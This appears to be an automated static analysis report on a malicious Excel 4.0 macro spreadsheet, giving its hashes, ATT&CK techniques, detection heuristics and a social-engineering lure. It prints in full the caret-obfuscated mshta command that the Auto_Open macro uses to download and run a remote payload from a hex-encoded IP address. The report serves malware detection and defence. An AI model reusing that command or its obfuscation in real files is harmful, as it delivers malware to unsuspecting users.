Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 d9881a1f1d60b20f…

MALICIOUS

Office (OLE) / .XLS

64.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: b3832164cef0b5d81192540ff8451928 SHA-1: 02d1d0e3a0e21f5e905b150585ec46da29eb9e61 SHA-256: d9881a1f1d60b20fe26d236293d914bfa32ef29e95b7bc1b0953698e28817026
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The command, reconstructed from obfuscated string concatenation, is 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html'. This command attempts to download and execute a payload from the specified URL. The document body also contains a lure to enable editing and content, which is a common tactic for macro-based malware.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes